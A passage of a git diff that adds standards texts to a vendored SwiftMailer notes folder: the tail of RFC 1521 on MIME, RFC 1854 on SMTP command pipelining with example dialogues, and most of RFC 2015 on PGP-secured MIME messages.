operations, and should not be used automatically unless + these security problems have been addressed. Even plain text may + contain control characters that can be used to exploit the + capabilities of "intelligent" terminals and cause security + violations. User interfaces designed to run on such terminals + should be aware of and try to prevent such problems. + + ________________________________________________________ + Content-type: multipart + + Subtypes defined by this document: mixed, alternative, + digest, parallel. + + Important Parameters: boundary + + Encoding notes: No content-transfer-encoding is permitted. + + ________________________________________________________ + Content-type: message + + Subtypes defined by this document: rfc822, partial, external-body + + Important Parameters: id, number, total, access-type, expiration, + size, permission, name, site, directory, mode, server, subject + + Encoding notes: No content-transfer-encoding is permitted. + Specifically, only "7bit" is permitted for "message/partial" or + "message/external-body", and only "7bit", "8bit", or "binary" are + permitted for other subtypes of "message". + ______________________________________________________________ + Content-type: application + + Subtypes defined by this document: octet-stream, postscript + + Important Parameters: type, padding + + + +Borenstein & Freed [Page 74] + +RFC 1521 MIME September 1993 + + + Deprecated Parameters: name and conversions were + defined in RFC 1341. + + Encoding notes: base64 preferred for unreadable subtypes. + + Security considerations: This type is intended for the + transmission of data to be interpreted by locally-installed + programs. If used, for example, to transmit executable + binary programs or programs in general-purpose interpreted + languages, such as LISP programs or shell scripts, severe + security problems could result. Authors of mail-reading + agents are cautioned against giving their systems the power + to execute mail-based application data without carefully + considering the security implications. While it is + certainly possible to define safe application formats and + even safe interpreters for unsafe formats, each interpreter + should be evaluated separately for possible security + problems. + ________________________________________________________________ + Content-type: image + + Subtypes defined by this document: jpeg, gif + + Important Parameters: none + + Encoding notes: base64 generally preferred + ________________________________________________________________ + Content-type: audio + + Subtypes defined by this document: basic + + Important Parameters: none + + Encoding notes: base64 generally preferred + ________________________________________________________________ + Content-type: video + + Subtypes defined by this document: mpeg + + Important Parameters: none + + Encoding notes: base64 generally preferred + + + + + + + + + +Borenstein & Freed [Page 75] + +RFC 1521 MIME September 1993 + + +Appendix G -- Canonical Encoding Model + + There was some confusion, in earlier drafts of this memo, regarding + the model for when email data was to be converted to canonical form + and encoded, and in particular how this process would affect the + treatment of CRLFs, given that the representation of newlines varies + greatly from system to system. For this reason, a canonical model + for encoding is presented below. + + The process of composing a MIME entity can be modeled as being done + in a number of steps. Note that these steps are roughly similar to + those steps used in RFC 1421 and are performed for each 'innermost + level' body: + + Step 1. Creation of local form. + + The body to be transmitted is created in the system's native format. + The native character set is used, and where appropriate local end of + line conventions are used as well. The body may be a UNIX-style text + file, or a Sun raster image, or a VMS indexed file, or audio data in + a system-dependent format stored only in memory, or anything else + that corresponds to the local model for the representation of some + form of information. Fundamentally, the data is created in the + "native" form specified by the type/subtype information. + + Step 2. Conversion to canonical form. + + The entire body, including "out-of-band" information such as record + lengths and possibly file attribute information, is converted to a + universal canonical form. The specific content type of the body as + well as its associated attributes dictate the nature of the canonical + form that is used. Conversion to the proper canonical form may + involve character set conversion, transformation of audio data, + compression, or various other operations specific to the various + content types. If character set conversion is involved, however, + care must be taken to understand the semantics of the content-type, + which may have strong implications for any character set conversion, + e.g. with regard to syntactically meaningful characters in a text + subtype other than "plain". + + For example, in the case of text/plain data, the text must be + converted to a supported character set and lines must be delimited + with CRLF delimiters in accordance with RFC822. Note that the + restriction on line lengths implied by RFC822 is eliminated if the + next step employs either quoted-printable or base64 encoding. + + + + + + +Borenstein & Freed [Page 76] + +RFC 1521 MIME September 1993 + + + Step 3. Apply transfer encoding. + + A Content-Transfer-Encoding appropriate for this body is applied. + Note that there is no fixed relationship between the content type and + the transfer encoding. In particular, it may be appropriate to base + the choice of base64 or quoted-printable on character frequency + counts which are specific to a given instance of a body. + + Step 4. Insertion into entity. + + The encoded object is inserted into a MIME entity with appropriate + headers. The entity is then inserted into the body of a higher-level + entity (message or multipart) if needed. + + It is vital to note that these steps are only a model; they are + specifically NOT a blueprint for how an actual system would be built. + In particular, the model fails to account for two common designs: + + 1. In many cases the conversion to a canonical form prior to + encoding will be subsumed into the encoder itself, which + understands local formats directly. For example, the local + newline convention for text bodies might be carried through to the + encoder itself along with knowledge of what that format is. + + 2. The output of the encoders may have to pass through one or + more additional steps prior to being transmitted as a message. As + such, the output of the encoder may not be conformant with the + formats specified by RFC822. In particular, once again it may be + appropriate for the converter's output to be expressed using local + newline conventions rather than using the standard RFC822 CRLF + delimiters. + + Other implementation variations are conceivable as well. The vital + aspect of this discussion is that, in spite of any optimizations, + collapsings of required steps, or insertion of additional processing, + the resulting messages must be consistent with those produced by the + model described here. For example, a message with the following + header fields: + + Content-type: text/foo; charset=bar + Content-Transfer-Encoding: base64 + + must be first represented in the text/foo form, then (if necessary) + represented in the "bar" character set, and finally transformed via + the base64 algorithm into a mail-safe form. + + + + + + +Borenstein & Freed [Page 77] + +RFC 1521 MIME September 1993 + + +Appendix H -- Changes from RFC 1341 + + This document is a relatively minor revision of RFC 1341. For + the convenience of those familiar with RFC 1341, the technical + changes from that document are summarized in this appendix. + + 1. The definition of "tspecials" has been changed to no longer + include ".". + + 2. The Content-ID field is now mandatory for message/external-body + parts. + + 3. The text/richtext type (including the old Section 7.1.3 and + Appendix D) has been moved to a separate document. + + 4. The rules on header merging for message/partial data have been + changed to treat the Encrypted and MIME-Version headers as special + cases. + + 5. The definition of the external-body access-type parameter has + been changed so that it can only indicate a single access method + (which was all that made sense). + + 6. There is a new "Subject" parameter for message/external-body, + access-type mail-server, to permit MIME-based use of mail servers + that rely on Subject field information. + + 7. The "conversions" parameter for application/octet-stream has been + removed. + + 8. Section 7.4.1 now deprecates the use of the "name" parameter for + application/octet-stream, as this will be superseded in the future by + a Content-Disposition header. + + 9. The formal grammar for multipart bodies has been changed so that + a CRLF is no longer required before the first boundary line. + + 10. MIME entities of type "message/partial" and "message/external- + body" are now required to use only the "7bit" transfer-encoding. + (Specifically, "binary" and "8bit" are not permitted.) + + 11. The "application/oda" content-type has been removed. + + 12. A note has been added to the end of section 7.2.3, explaining + the semantics of Content-ID in a multipart/alternative MIME entity. + + 13. The formal syntax for the "MIME-Version" field has been + tightened, but in a way that is completely compatible with the only + + + +Borenstein & Freed [Page 78] + +RFC 1521 MIME September 1993 + + + version number defined in RFC 1341. + + 14. In Section 7.3.1, the definition of message/rfc822 has been + relaxed regarding mandatory fields. + + All other changes from RFC 1341 were editorial changes and do not + affect the technical content of MIME. Considerable formal grammar + has been added, but this reflects the prose specification that was + already in place. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Borenstein & Freed [Page 79] + +RFC 1521 MIME September 1993 + + +References + + [US-ASCII] Coded Character Set--7-Bit American Standard Code for + Information Interchange, ANSI X3.4-1986. + + [ATK] Borenstein, Nathaniel S., Multimedia Applications Development + with the Andrew Toolkit, Prentice-Hall, 1990. + + [GIF] Graphics Interchange Format (Version 89a), Compuserve, Inc., + Columbus, Ohio, 1990. + + [ISO-2022] International Standard--Information Processing--ISO 7-bit + and 8-bit coded character sets--Code extension techniques, ISO + 2022:1986. + + [ISO-8859] Information Processing -- 8-bit Single-Byte Coded Graphic + Character Sets -- Part 1: Latin Alphabet No. 1, ISO 8859-1:1987. Part + 2: Latin alphabet No. 2, ISO 8859-2, 1987. Part 3: Latin alphabet + No. 3, ISO 8859-3, 1988. Part 4: Latin alphabet No. 4, ISO 8859-4, + 1988. Part 5: Latin/Cyrillic alphabet, ISO 8859-5, 1988. Part 6: + Latin/Arabic alphabet, ISO 8859-6, 1987. Part 7: Latin/Greek + alphabet, ISO 8859-7, 1987. Part 8: Latin/Hebrew alphabet, ISO + 8859-8, 1988. Part 9: Latin alphabet No. 5, ISO 8859-9, 1990. + + [ISO-646] International Standard--Information Processing--ISO 7-bit + coded character set for information interchange, ISO 646:1983. + + [MPEG] Video Coding Draft Standard ISO 11172 CD, ISO IEC/TJC1/SC2/WG11 + (Motion Picture Experts Group), May, 1991. + + [PCM] CCITT, Fascicle III.4 - Recommendation G.711, Geneva, 1972, + "Pulse Code Modulation (PCM) of Voice Frequencies". + + [POSTSCRIPT] Adobe Systems, Inc., PostScript Language Reference + Manual, Addison-Wesley, 1985. + + [POSTSCRIPT2] Adobe Systems, Inc., PostScript Language Reference + Manual, Addison-Wesley, Second Edition, 1990. + + [X400] Schicker, Pietro, "Message Handling Systems, X.400", Message + Handling Systems and Distributed Applications, E. Stefferud, O-j. + Jacobsen, and P. Schicker, eds., North-Holland, 1989, pp. 3-41. + + [RFC-783] Sollins, K., "TFTP Protocol (revision 2)", RFC 783, MIT, + June 1981. + + [RFC-821] Postel, J., "Simple Mail Transfer Protocol", STD 10, RFC + 821, USC/Information Sciences Institute, August 1982. + + + +Borenstein & Freed [Page 80] + +RFC 1521 MIME September 1993 + + + [RFC-822] Crocker, D., "Standard for the Format of ARPA Internet Text + Messages", STD 11, RFC 822, UDEL, August 1982. + + [RFC-934] Rose, M., and E. Stefferud, "Proposed Standard for Message + Encapsulation", RFC 934, Delaware and NMA, January 1985. + + [RFC-959] Postel, J. and J. Reynolds, "File Transfer Protocol", + STD 9, RFC 959, USC/Information Sciences Institute, October 1985. + + [RFC-1049] Sirbu, M., "Content-Type Header Field for Internet + Messages", STD 11, RFC 1049, CMU, March 1988. + + [RFC-1421] Linn, J., "Privacy Enhancement for Internet Electronic Mail: + Part I - Message Encryption and Authentication Procedures", RFC + 1421, IAB IRTF PSRG, IETF PEM WG, February 1993. + + [RFC-1154] Robinson, D. and R. Ullmann, "Encoding Header Field for + Internet Messages", RFC 1154, Prime Computer, Inc., April 1990. + + [RFC-1341] Borenstein, N., and N. Freed, "MIME (Multipurpose Internet + Mail Extensions): Mechanisms for Specifying and Describing the Format + of Internet Message Bodies", RFC 1341, Bellcore, Innosoft, June 1992. + + [RFC-1342] Moore, K., "Representation of Non-Ascii Text in Internet + Message Headers", RFC 1342, University of Tennessee, June 1992. + + [RFC-1343] Borenstein, N., "A User Agent Configuration Mechanism + for Multimedia Mail Format Information", RFC 1343, Bellcore, June + 1992. + + [RFC-1344] Borenstein, N., "Implications of MIME for Internet + Mail Gateways", RFC 1344, Bellcore, June 1992. + + [RFC-1345] Simonsen, K., "Character Mnemonics & Character Sets", + RFC 1345, Rationel Almen Planlaegning, June 1992. + + [RFC-1426] Klensin, J., (WG Chair), Freed, N., (Editor), Rose, M., + Stefferud, E., and D. Crocker, "SMTP Service Extension for 8bit-MIME + transport", RFC 1426, United Nations Universit, Innosoft, Dover Beach + Consulting, Inc., Network Management Associates, Inc., The Branch + Office, February 1993. + + [RFC-1522] Moore, K., "Representation of Non-Ascii Text in Internet + Message Headers" RFC 1522, University of Tennessee, September 1993. + + [RFC-1340] Reynolds, J., and J. Postel, "Assigned Numbers", STD 2, RFC + 1340, USC/Information Sciences Institute, July 1992. + + + + +Borenstein & Freed [Page 81] + \ No newline at end of file diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc1854.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc1854.txt new file mode 100644 index 00000000..7b1a9751 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc1854.txt @@ -0,0 +1,395 @@ + + + + + + +Network Working Group N. Freed +Request For Comments: 1854 Innosoft International, Inc. +Category: Standards Track A. Cargille, WG Chair + October 1995 + + + SMTP Service Extension + for Command Pipelining + +Status of this Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Abstract + + This memo defines an extension to the SMTP service whereby a server + can indicate the extent of its ability to accept multiple commands in + a single TCP send operation. Using a single TCP send operation for + multiple commands can improve SMTP performance significantly. + +Introduction + + Although SMTP is widely and robustly deployed, certain extensions may + nevertheless prove useful. In particular, many parts of the Internet + make use of high latency network links. + + SMTP's intrinsic one command-one response structure is significantly + penalized by high latency links, often to the point where the factors + contributing to overall connection time are dominated by the time + spent waiting for responses to individual commands (turnaround time). + + In the best of all worlds it would be possible to simply deploy SMTP + client software that makes use of command pipelining: batching up + multiple commands into single TCP send operations. Unfortunately, the + original SMTP specification [1] did not explicitly state that SMTP + servers must support this. As a result a non-trivial number of + Internet SMTP servers cannot adequately handle command pipelining. + Flaws known to exist in deployed servers include: + + (1) Connection handoff and buffer flushes in the middle of + the SMTP dialogue. Creation of server processes for + incoming SMTP connections is a useful, obvious, and + harmless implementation technique. However, some SMTP + servers defer process forking and connection handoff + + + +Freed & Cargille Standards Track [Page 1] + +RFC 1854 SMTP Pipelining October 1995 + + + until some intermediate point in the SMTP dialogue. + When this is done material read from the TCP connection + and kept in process buffers can be lost. + + (2) Flushing the TCP input buffer when an SMTP command + fails. SMTP commands often fail but there is no reason + to flush the TCP input buffer when this happens. + Nevertheless, some SMTP servers do this. + + (3) Improper processing and promulgation of SMTP command + failures. For example, some SMTP servers will refuse to + accept a DATA command if the last RCPT TO command + fails, paying no attention to the success or failure of + prior RCPT TO command results. Other servers will + accept a DATA command even when all previous RCPT TO + commands have failed. Although it is possible to + accommodate this sort of behavior in a client that + employs command pipelining, it does complicate the + construction of the client unnecessarily. + + This memo uses the mechanism described in [2] to define an extension + to the SMTP service whereby an SMTP server can declare that it is + capable of handling pipelined commands. The SMTP client can then + check for this declaration and use pipelining only when the server + declares itself capable of handling it. + +1. Framework for the Command Pipelining Extension + + The Command Pipelining extension is defined as follows: + + (1) the name of the SMTP service extension is Pipelining; + + (2) the EHLO keyword value associated with the extension is + PIPELINING; + + (3) no parameter is used with the PIPELINING EHLO keyword; + + (4) no additional parameters are added to either the MAIL + FROM or RCPT TO commands. + + (5) no additional SMTP verbs are defined by this extension; + and, + + (6) the next section specifies how support for the + extension affects the behavior of a server and client + SMTP. + + + + + +Freed & Cargille Standards Track [Page 2] + +RFC 1854 SMTP Pipelining October 1995 + + +2. The Pipelining Service Extension + + When a client SMTP wishes to employ command pipelining, it first + issues the EHLO command to the server SMTP. If the server SMTP + responds with code 250 to the EHLO command, and the response includes + the EHLO keyword value PIPELINING, then the server SMTP has indicated + that it can accommodate SMTP command pipelining. + +2.1. Client use of pipelining + + Once the client SMTP has confirmed that support exists for the + pipelining extension, the client SMTP may then elect to transmit + groups of SMTP commands in batches without waiting for a response to + each individual command. In particular, the commands RSET, MAIL FROM, + SEND FROM, SOML FROM, SAML FROM, and RCPT TO can all appear anywhere + in a pipelined command group. The EHLO, DATA, VRFY, EXPN, TURN, + QUIT, and NOOP commands can only appear as the last command in a + group since their success or failure produces a change of state which + the client SMTP must accommodate. (NOOP is included in this group so + it can be used as a synchronization point.) + + Additional commands added by other SMTP extensions may only appear as + the last command in a group unless otherwise specified by the + extensions that define the commands. + + The actual transfer of message content is explicitly allowed to be + the first "command" in a group. That is, the RSET/MAIL FROM sequence + necessary to initiate a new message transaction can be placed in the + same group as the final transfer of the headers and body of the + previous message. + + Client SMTP implementations that employ pipelining MUST check ALL + statuses associated with each command in a group. For example, if + none of the RCPT TO recipient addresses were accepted the client must + then check the response to the DATA command -- the client cannot + assume that the DATA command will be rejected just because none of + the RCPT TO commands worked. If the DATA command was properly + rejected the client SMTP can just issue RSET, but if the DATA command + was accepted the client SMTP should send a single dot. + + Command statuses MUST be coordinated with responses by counting each + separate response and correlating that count with the number of + commands known to have been issued. Multiline responses MUST be + supported. Matching on the basis of either the error code value or + associated text is expressly forbidden. + + Client SMTP implementations MAY elect to operate in a nonblocking + fashion, processing server responses immediately upon receipt, even + + + +Freed & Cargille Standards Track [Page 3] + +RFC 1854 SMTP Pipelining October 1995 + + + if there is still data pending transmission from the client's + previous TCP send operation. If nonblocking operation is not + supported, however, client SMTP implementations MUST also check the + TCP window size and make sure that each group of commands fits + entirely within the window. The window size is usually, but not + always, 4K octets. Failure to perform this check can lead to + deadlock conditions. + + Clients MUST NOT confuse responses to multiple commands with + multiline responses. Each command requires one or more lines of + response, the last line not containing a dash between the response + code and the response string. + +2.2. Server support of pipelining + + A server SMTP implementation that offers the pipelining extension: + + (1) MUST NOT flush or otherwise lose the contents of the + TCP input buffer under any circumstances whatsoever. + + (2) SHOULD issue a positive response to the DATA command if + and only if one or more valid RCPT TO addresses have + been previously received. + + (3) MUST NOT, after issuing a positive response to a DATA + command with no valid recipients and subsequently + receiving an empty message, send any message whatsoever + to anybody. + + (4) SHOULD elect to store responses to grouped RSET, MAIL + FROM, SEND FROM, SOML FROM, SAML FROM, and RCPT TO + commands in an internal buffer so they can sent as a + unit. + + (5) MUST NOT buffer responses to EHLO, DATA, VRFY, EXPN, + TURN, QUIT, and NOOP. + + (6) MUST NOT buffer responses to unrecognized commands. + + (7) MUST send all pending responses immediately whenever + the local TCP input buffer is emptied. + + (8) MUST NOT make assumptions about commands that are yet + to be received. + + (9) SHOULD issue response text that indicates, either + implicitly or explicitly, what command the response + matches. + + + +Freed & Cargille Standards Track [Page 4] + +RFC 1854 SMTP Pipelining October 1995 + + + The overriding intent of these server requirements is to make it as + easy as possible for servers to conform to these pipelining + extensions. + +3. Examples + + Consider the following SMTP dialogue that does not use pipelining: + + S: + C: + S: 220 innosoft.com SMTP service ready + C: HELO dbc.mtview.ca.us + S: 250 innosoft.com + C: MAIL FROM: + S: 250 sender OK + C: RCPT TO: + S: 250 recipient OK + C: RCPT TO: + S: 250 recipient OK + C: RCPT TO: + S: 250 recipient OK + C: DATA + S: 354 enter mail, end with line containing only "." + ... + C: . + S: 250 message sent + C: QUIT + S: 221 goodbye + + The client waits for a server response a total of 9 times in this + simple example. But if pipelining is employed the following dialogue + is possible: + + S: + C: + S: 220 innosoft.com SMTP service ready + C: EHLO dbc.mtview.ca.us + S: 250-innosoft.com + S: 250 PIPELINING + C: MAIL FROM: + C: RCPT TO: + C: RCPT TO: + C: RCPT TO: + C: DATA + S: 250 sender OK + S: 250 recipient OK + S: 250 recipient OK + S: 250 recipient OK + + + +Freed & Cargille Standards Track [Page 5] + +RFC 1854 SMTP Pipelining October 1995 + + + S: 354 enter mail, end with line containing only "." + ... + C: . + C: QUIT + S: 250 message sent + S: 221 goodbye + + The total number of turnarounds has been reduced from 9 to 4. + + The next example illustrates one possible form of behavior when + pipelining is used and all recipients are rejected: + + S: + C: + S: 220 innosoft.com SMTP service ready + C: EHLO dbc.mtview.ca.us + S: 250-innosoft.com + S: 250 PIPELINING + C: MAIL FROM: + C: RCPT TO: + C: RCPT TO: + C: DATA + S: 250 sender OK + S: 550 remote mail to not allowed + S: 550 remote mail to not allowed + S: 554 no valid recipients given + C: QUIT + S: 221 goodbye + + The client SMTP waits for the server 4 times here as well. If the + server SMTP does not check for at least one valid recipient prior to + accepting the DATA command, the following dialogue would result: + + S: + C: + S: 220 innosoft.com SMTP service ready + C: EHLO dbc.mtview.ca.us + S: 250-innosoft.com + S: 250 PIPELINING + C: MAIL FROM: + C: RCPT TO: + C: RCPT TO: + C: DATA + S: 250 sender OK + S: 550 remote mail to not allowed + S: 550 remote mail to not allowed + S: 354 enter mail, end with line containing only "." + C: . + + + +Freed & Cargille Standards Track [Page 6] + +RFC 1854 SMTP Pipelining October 1995 + + + C: QUIT + S: 554 no valid recipients + S: 221 goodbye + +4. Security Considerations + + This RFC does not discuss security issues and is not believed to + raise any security issues not endemic in electronic mail and present + in fully conforming implementations of [1]. + +5. Acknowledgements + + This document is based on the SMTP service extension model presented + in RFC 1425. Marshall Rose's description of SMTP command pipelining + in his book "The Internet Message" also served as a source of + inspiration for this extension. + +6. References + + [1] Postel, J., "Simple Mail Transfer Protocol", STD 10 + RFC 821, USC/Information Sciences Institute, August + 1982. + + [2] Klensin, J., Freed, N., Rose, M., Stefferud, E., + and D. Crocker, "SMTP Service Extensions", RFC 1651, + MCI, Innosoft, Dover Beach Consulting, Inc., + Network Management Associates, Inc., Silicon Graphics, + Inc., July 1994. + +7. Author's Address + + Ned Freed + Innosoft International, Inc. + 1050 East Garvey Avenue South + West Covina, CA 91790 + USA + + Phone: +1 818 919 3600 + Fax: +1 818 919 3614 + EMail: ned@innosoft.com + + + + + + + + + + + +Freed & Cargille Standards Track [Page 7] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2015.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2015.txt new file mode 100644 index 00000000..d075983f --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2015.txt @@ -0,0 +1,450 @@ + + + + + +Network Working Group M. Elkins +Request for Comments: 2015 The Aerospace Corporation +Category: Standards Track October 1996 + + + MIME Security with Pretty Good Privacy (PGP) + +Status of this Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Abstract + + This document describes how Pretty Good Privacy (PGP) can be used to + provide privacy and authentication using the Multipurpose Internet + Mail Extensions (MIME) security content types described in RFC1847. + +1. Introduction + + Previous work on integrating PGP with MIME (including the since + withdrawn application/pgp content type) has suffered from a number of + problems, the most significant of which is the inability to recover + signed message bodies without parsing data structures specific to + PGP. This work makes use of the elegant solution proposed in + RFC1847, which defines security multipart formats for MIME. The + security multiparts clearly separate the signed message body from the + signature, and have a number of other desirable properties. This + document is styled after RFC 1848, which defines MIME Object Security + Services (MOSS) for providing security and authentication. + + This document defines three new content types for implementing + security and privacy with PGP: application/pgp-encrypted, + application/pgp-signature and application/pgp-keys. + +1.1 Compliance + + In order for an implementation to be compliant with this + specification, is it absolutely necessary for it to obey all items + labeled as MUST or REQUIRED. + + + + + + + + +Elkins Standards Track [Page 1] + +RFC 2015 MIME Security with PGP October 1996 + + +2. PGP data formats + + PGP can generate either ASCII armor (described in [3]) or 8-bit + binary output when encrypting data, generating a digital signature, + or extracting public key data. The ASCII armor output is the + REQUIRED method for data transfer. This allows those users who do + not have the means to interpret the formats described in this + document to be able extract and use the PGP information in the + message. + + When the amount of data to be transmitted requires that it be sent in + many parts, the MIME message/partial mechanism should be used rather + than the multipart ASCII armor PGP format. + +3. Content-Transfer-Encoding restrictions + + Multipart/signed and multipart/encrypted are to be treated by agents + as opaque, meaning that the data is not to be altered in any way [1]. + However, many existing mail gateways will detect if the next hop does + not support MIME or 8-bit data and perform conversion to either + Quoted-Printable or Base64. This presents serious problems for + multipart/signed, in particular, where the signature is invalidated + when such an operation occurs. For this reason all data signed + according to this protocol MUST be constrained to 7 bits (8- bit data + should be encoded using either Quoted-Printable or Base64). Note + that this also includes the case where a signed object is also + encrypted (see section 6). This restriction will increase the + likelihood that the signature will be valid upon receipt. + + Data that is ONLY to be encrypted is allowed to contain 8-bit + characters and therefore need not be converted to a 7-bit format. + + Implementor's note: It cannot be stressed enough that applications + using this standard should follow MIME's suggestion that you "be + conservative in what you generate, and liberal in what you accept." + In this particular case it means it would be wise for an + implementation to accept messages with any content-transfer- + encoding, but restrict generation to the 7-bit format required by + this memo. This will allow future compatibility in the event the + Internet SMTP framework becomes 8-bit friendly. + +4. PGP encrypted data + + Before encryption with PGP, the data should be written in MIME + canonical format (body and headers). + + PGP encrypted data is denoted by the "multipart/encrypted" content + type, described in [1], and MUST have a "protocol" parameter value of + + + +Elkins Standards Track [Page 2] + +RFC 2015 MIME Security with PGP October 1996 + + + "application/pgp-encrypted". Note that the value of the parameter + MUST be enclosed in quotes. + + The multipart/encrypted MUST consist of exactly two parts. The first + MIME body part must have a content type of "application/pgp- + encrypted". This body contains the control information. A message + complying with this standard MUST contain a "Version: 1" field in + this body. Since the PGP packet format contains all other + information necessary for decrypting, no other information is + required here. + + The second MIME body part MUST contain the actual encrypted data. It + must be labeled with a content type of "application/octet- stream". + + Example message: + + From: Michael Elkins + To: Michael Elkins + Mime-Version: 1.0 + Content-Type: multipart/encrypted; boundary=foo; + protocol="application/pgp-encrypted" + + --foo + Content-Type: application/pgp-encrypted + + Version: 1 + + --foo + Content-Type: application/octet-stream + + -----BEGIN PGP MESSAGE----- + Version: 2.6.2 + + hIwDY32hYGCE8MkBA/wOu7d45aUxF4Q0RKJprD3v5Z9K1YcRJ2fve87lMlDlx4Oj + eW4GDdBfLbJE7VUpp13N19GL8e/AqbyyjHH4aS0YoTk10QQ9nnRvjY8nZL3MPXSZ + g9VGQxFeGqzykzmykU6A26MSMexR4ApeeON6xzZWfo+0yOqAq6lb46wsvldZ96YA + AABH78hyX7YX4uT1tNCWEIIBoqqvCeIMpp7UQ2IzBrXg6GtukS8NxbukLeamqVW3 + 1yt21DYOjuLzcMNe/JNsD9vDVCvOOG3OCi8= + =zzaA + -----END PGP MESSAGE----- + + --foo-- + +5. PGP signed data + + PGP signed messages are denoted by the "multipart/signed" content + type, described in [1], with a "protocol" parameter which MUST have a + value of "application/pgp-signature" (MUST be quoted). The "micalg" + + + +Elkins Standards Track [Page 3] + +RFC 2015 MIME Security with PGP October 1996 + + + parameter MUST have a value of "pgp-", where identifies the message integrity check (MIC) used to generate + the signature. The currently defined values for are + "md5" for the MD5 checksum, and "sha1" for the SHA.1 algorithm. + + The multipart/signed body MUST consist of exactly two parts. The + first part contains the signed data in MIME canonical format, + including a set of appropriate content headers describing the data. + + The second body MUST contain the PGP digital signature. It MUST be + labeled with a content type of "application/pgp-signature". + + When the PGP digital signature is generated: + + (1) The data to be signed must first be converted to its + type/subtype specific canonical form. For text/plain, this + means conversion to an appropriate character set and conversion + of line endings to the canonical sequence. + + (2) An appropriate Content-Transfer-Encoding is then applied. Each + line of the encoded data MUST end with the canonical + sequence. + + (3) MIME content headers are then added to the body, each ending + with the canonical sequence. + + (4) As described in [1], the digital signature MUST be calculated + over both the data to be signed and its set of content headers. + + (5) The signature MUST be generated detached from the signed data + so that the process does not alter the signed data in any way. + + Example message: + + From: Michael Elkins + To: Michael Elkins + Mime-Version: 1.0 + Content-Type: multipart/signed; boundary=bar; micalg=pgp-md5; + protocol="application/pgp-signature" + + --bar + & Content-Type: text/plain; charset=iso-8859-1 + & Content-Transfer-Encoding: quoted-printable + & + & =A1Hola! + & + & Did you know that talking to yourself is a sign of senility? + & + + + +Elkins Standards Track [Page 4] + +RFC 2015 MIME Security with PGP October 1996 + + + & It's generally a good idea to encode lines that begin with + & From=20because some mail transport agents will insert a greater- + & than (>) sign, thus invalidating the signature. + & + & Also, in some cases it might be desirable to encode any =20 + &railing whitespace that occurs on lines in order to ensure =20 + & that the message signature is not invalidated when passing =20 + & a gateway that modifies such whitespace (like BITNET). =20 + & + & me + + --bar + Content-Type: application/pgp-signature + + -----BEGIN PGP MESSAGE----- + Version: 2.6.2 + + iQCVAwUBMJrRF2N9oWBghPDJAQE9UQQAtl7LuRVndBjrk4EqYBIb3h5QXIX/LC// + jJV5bNvkZIGPIcEmI5iFd9boEgvpirHtIREEqLQRkYNoBActFBZmh9GC3C041WGq + uMbrbxc+nIs1TIKlA08rVi9ig/2Yh7LFrK5Ein57U/W72vgSxLhe/zhdfolT9Brn + HOxEa44b+EI= + =ndaj + -----END PGP MESSAGE----- + + --bar-- + + The "&"s in the previous example indicate the portion of the data + over which the signature was calculated. + + Though not required, it is generally a good idea to use Quoted- + Printable encoding in the first step (writing out the data to be + signed in MIME canonical format) if any of the lines in the data + begin with "From ", and encode the "F". This will avoid an MTA + inserting a ">" in front of the line, thus invalidating the + signature! + + Upon receipt of a signed message, an application MUST: + + (1) Convert line endings to the canonical sequence before + the signature can be verified. This is necessary since the + local MTA may have converted to a local end of line convention. + + (2) Pass both the signed data and its associated content headers + along with the PGP signature to the signature verification + service. + + + + + + +Elkins Standards Track [Page 5] + +RFC 2015 MIME Security with PGP October 1996 + + +6. Encrypted and Signed Data + + Sometimes it is desirable to both digitally sign and then encrypt a + message to be sent. This protocol allows for two methods of + accomplishing this task. + +6.1 RFC1847 Encapsulation + + [1], it is stated that the data should first be signed as a + multipart/signature body, and then encrypted to form the final + multipart/encrypted body, i.e., + + Content-Type: multipart/encrypted; + protocol="application/pgp-encrypted"; boundary=foo + + --foo + Content-Type: application/pgp-encrypted + + Version: 1 + + --foo + Content-Type: application/octet-stream + + -----BEGIN PGP MESSAGE----- + & Content-Type: multipart/signed; micalg=pgp-md5 + & protocol="application/pgp-signature"; boundary=bar + & + & --bar + & Content-Type: text/plain; charset=us-ascii + & + & This message was first signed, and then encrypted. + & + & --bar + & Content-Type: application/pgp-signature + & + & -----BEGIN PGP MESSAGE----- + & Version: 2.6.2 + & + & iQCVAwUBMJrRF2N9oWBghPDJAQE9UQQAtl7LuRVndBjrk4EqYBIb3h5QXIX/LC// + & jJV5bNvkZIGPIcEmI5iFd9boEgvpirHtIREEqLQRkYNoBActFBZmh9GC3C041WGq + & uMbrbxc+nIs1TIKlA08rVi9ig/2Yh7LFrK5Ein57U/W72vgSxLhe/zhdfolT9Brn + & HOxEa44b+EI= + & =ndaj + & -----END PGP MESSAGE----- + & + & --bar-- + -----END PGP MESSAGE----- + + + + +Elkins Standards Track [Page 6] + +RFC 2015 MIME Security with PGP October 1996 + + + --foo-- + + (The text preceded by '&' indicates that it is really + encrypted, but presented as text for clarity.) + +6.2 Combined method + + Versions 2.x of PGP also allow data to be signed and encrypted in one + operation. This method is an acceptable shortcut, and has the + benefit of less overhead. The resulting data should be formed as a + "multipart/encrypted" object as described above. + + Messages which are encrypted and signed in this combined fashion are + REQUIRED to follow the same canonicalization rules as for + multipart/signed objects. + + It is explicitly allowed for an agent to decrypt a combined message + and rewrite it as a multipart/signed object using the signature data + embedded in the encrypted version. + +7. Distribution of PGP public keys + + Content-Type: application/pgp-keys + Required parameters: none + Optional parameters: none + + This is the content type which should be used for relaying public key + blocks. + +8. Notes + + PGP and Pretty Good Privacy are trademarks of Philip Zimmermann. + +9. Security Considerations + + Use of this protocol has the same security considerations as PGP, and + is not known to either increase or decrease the security of messages + using it; see [3] for more information. + +10. Author's Address + + Michael Elkins + P.O. Box 